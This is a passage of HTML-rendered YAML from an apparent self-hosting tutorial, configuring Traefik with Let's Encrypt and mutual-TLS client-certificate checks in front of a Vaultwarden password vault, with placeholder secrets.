&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;      &lt;span class=&quot;z-comment z-line z-number-sign z-yaml&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-line z-number-sign z-yaml&quot;&gt;#&lt;&#x2F;span&gt; settings are provided
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;      &lt;span class=&quot;z-punctuation z-definition z-block z-sequence z-item z-yaml&quot;&gt;-&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;.&#x2F;traefik-vaultwarden.yml:&#x2F;etc&#x2F;traefik&#x2F;dynamic&#x2F;vaultwarden.yml&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;      &lt;span class=&quot;z-comment z-line z-number-sign z-yaml&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-line z-number-sign z-yaml&quot;&gt;#&lt;&#x2F;span&gt; where we&amp;#39;ll store our Let&amp;#39;s Encrypt certificates
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;      &lt;span class=&quot;z-punctuation z-definition z-block z-sequence z-item z-yaml&quot;&gt;-&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;traefik-letsencrypt:&#x2F;etc&#x2F;traefik&#x2F;letsencrypt&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;      &lt;span class=&quot;z-comment z-line z-number-sign z-yaml&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-line z-number-sign z-yaml&quot;&gt;#&lt;&#x2F;span&gt; finally, we need to supply our CA public certificate
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;      &lt;span class=&quot;z-comment z-line z-number-sign z-yaml&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-line z-number-sign z-yaml&quot;&gt;#&lt;&#x2F;span&gt; (the private key is not needed to verify a client certificate)
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;      &lt;span class=&quot;z-punctuation z-definition z-block z-sequence z-item z-yaml&quot;&gt;-&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;.&#x2F;ca-root.crt:&#x2F;etc&#x2F;traefik&#x2F;custom-ca&#x2F;ca.crt&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;    &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;restart&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;unless-stopped&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;  &lt;span class=&quot;z-comment z-line z-number-sign z-yaml&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-line z-number-sign z-yaml&quot;&gt;#&lt;&#x2F;span&gt; password vault
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;  &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;vaultwarden&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;    &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;image&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;vaultwarden&#x2F;server:latest&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;    &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;environment&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;      &lt;span class=&quot;z-comment z-line z-number-sign z-yaml&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-line z-number-sign z-yaml&quot;&gt;#&lt;&#x2F;span&gt; WebSocket is supported by traefik
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;      &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;WEBSOCKET_ENABLED&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-quoted z-double z-yaml&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-yaml&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;true&lt;span class=&quot;z-punctuation z-definition z-string z-end z-yaml&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;      &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;ADMIN_TOKEN&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-quoted z-double z-yaml&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-yaml&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&amp;lt;secret-admin-token&amp;gt;&lt;span class=&quot;z-punctuation z-definition z-string z-end z-yaml&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;      &lt;span class=&quot;z-comment z-line z-number-sign z-yaml&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-line z-number-sign z-yaml&quot;&gt;#&lt;&#x2F;span&gt; the domain you&amp;#39;ll use to access the vault
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;      &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;DOMAIN&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-quoted z-double z-yaml&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-yaml&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;https:&#x2F;&#x2F;&amp;lt;subdomain&amp;gt;.&amp;lt;domain&amp;gt;&lt;span class=&quot;z-punctuation z-definition z-string z-end z-yaml&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;      &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;SIGNUPS_ALLOWED&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-quoted z-double z-yaml&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-yaml&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;false&lt;span class=&quot;z-punctuation z-definition z-string z-end z-yaml&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;    &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;volumes&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;      &lt;span class=&quot;z-punctuation z-definition z-block z-sequence z-item z-yaml&quot;&gt;-&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;vaultwarden-data:&#x2F;data&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;    &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;restart&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;unless-stopped&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;&lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;volumes&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;  &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;traefik-letsencrypt&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;  &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;vaultwarden-data&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Here’s an install config file for Traefik as an example, which enables Let’s Encrypt for certificate management and the necessary &lt;a href=&quot;https:&#x2F;&#x2F;doc.traefik.io&#x2F;traefik&#x2F;reference&#x2F;routing-configuration&#x2F;http&#x2F;tls&#x2F;tls-options&#x2F;#client-authentication-mtls&quot;&gt;mTLS configuration&lt;&#x2F;a&gt;:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;yaml&quot; class=&quot;language-yaml z-code&quot;&gt;&lt;code class=&quot;language-yaml&quot; data-lang=&quot;yaml&quot;&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-yaml&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-line z-number-sign z-yaml&quot;&gt;#&lt;&#x2F;span&gt; traefik-install.yml
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;&lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;providers&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;  &lt;span class=&quot;z-comment z-line z-number-sign z-yaml&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-line z-number-sign z-yaml&quot;&gt;#&lt;&#x2F;span&gt; use Docker
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;  &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;docker&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;  &lt;span class=&quot;z-comment z-line z-number-sign z-yaml&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-line z-number-sign z-yaml&quot;&gt;#&lt;&#x2F;span&gt; supply your dynamic config file(s) in this directory
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;  &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;file&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;    &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;directory&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&#x2F;etc&#x2F;traefik&#x2F;dynamic&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-yaml&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-line z-number-sign z-yaml&quot;&gt;#&lt;&#x2F;span&gt; the ports we&amp;#39;ll listen on, HTTP (80) and HTTPS (443)
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;&lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;entryPoints&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;  &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;web&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;    &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;address&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-quoted z-double z-yaml&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-yaml&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;:80&lt;span class=&quot;z-punctuation z-definition z-string z-end z-yaml&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;  &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;websecure&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;    &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;address&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-quoted z-double z-yaml&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-yaml&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;:443&lt;span class=&quot;z-punctuation z-definition z-string z-end z-yaml&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;&lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;certificatesResolvers&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;  &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;letsencrypt&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;    &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;acme&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;      &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;email&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;your-email@example.com&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;      &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;storage&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&#x2F;etc&#x2F;traefik&#x2F;letsencrypt&#x2F;acme.json&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;      &lt;span class=&quot;z-comment z-line z-number-sign z-yaml&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-line z-number-sign z-yaml&quot;&gt;#&lt;&#x2F;span&gt; start by using the staging Let&amp;#39;s Encrypt server to test
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;      &lt;span class=&quot;z-comment z-line z-number-sign z-yaml&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-line z-number-sign z-yaml&quot;&gt;#&lt;&#x2F;span&gt; if everything works correctly, removing this line will use
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;      &lt;span class=&quot;z-comment z-line z-number-sign z-yaml&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-line z-number-sign z-yaml&quot;&gt;#&lt;&#x2F;span&gt; the production server instead
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;      &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;caServer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;https:&#x2F;&#x2F;acme-staging-v02.api.letsencrypt.org&#x2F;directory&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;      &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;httpChallenge&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;        &lt;span class=&quot;z-comment z-line z-number-sign z-yaml&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-line z-number-sign z-yaml&quot;&gt;#&lt;&#x2F;span&gt; used during the ACME challenge to obtain TLS certificates
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;        &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;entryPoint&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;web&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And the corresponding dynamic configuration file for Vaultwarden:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;yaml&quot; class=&quot;language-yaml z-code&quot;&gt;&lt;code class=&quot;language-yaml&quot; data-lang=&quot;yaml&quot;&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-yaml&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-line z-number-sign z-yaml&quot;&gt;#&lt;&#x2F;span&gt; traefik-vaultwarden.yml
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;&lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;tls&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;  &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;options&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;    &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;default&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;      &lt;span class=&quot;z-comment z-line z-number-sign z-yaml&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-line z-number-sign z-yaml&quot;&gt;#&lt;&#x2F;span&gt; not all clients support TLS 1.3 yet, so we&amp;#39;ll allow TLS 1.2
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;      &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;minVersion&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;VersionTLS12&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;      &lt;span class=&quot;z-comment z-line z-number-sign z-yaml&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-line z-number-sign z-yaml&quot;&gt;#&lt;&#x2F;span&gt; we want to strictly check the SNI: if unknown, block access
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;      &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;sniStrict&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt; &lt;span class=&quot;z-constant z-language z-boolean z-yaml&quot;&gt;true&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;    &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;mtls&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;      &lt;span class=&quot;z-comment z-line z-number-sign z-yaml&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-line z-number-sign z-yaml&quot;&gt;#&lt;&#x2F;span&gt; mTLS configuration
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;      &lt;span class=&quot;z-comment z-line z-number-sign z-yaml&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-line z-number-sign z-yaml&quot;&gt;#&lt;&#x2F;span&gt; we ask Traefik to require a client certificate,
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;      &lt;span class=&quot;z-comment z-line z-number-sign z-yaml&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-line z-number-sign z-yaml&quot;&gt;#&lt;&#x2F;span&gt; and verify it with our CA
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;      &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;clientAuth&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt;
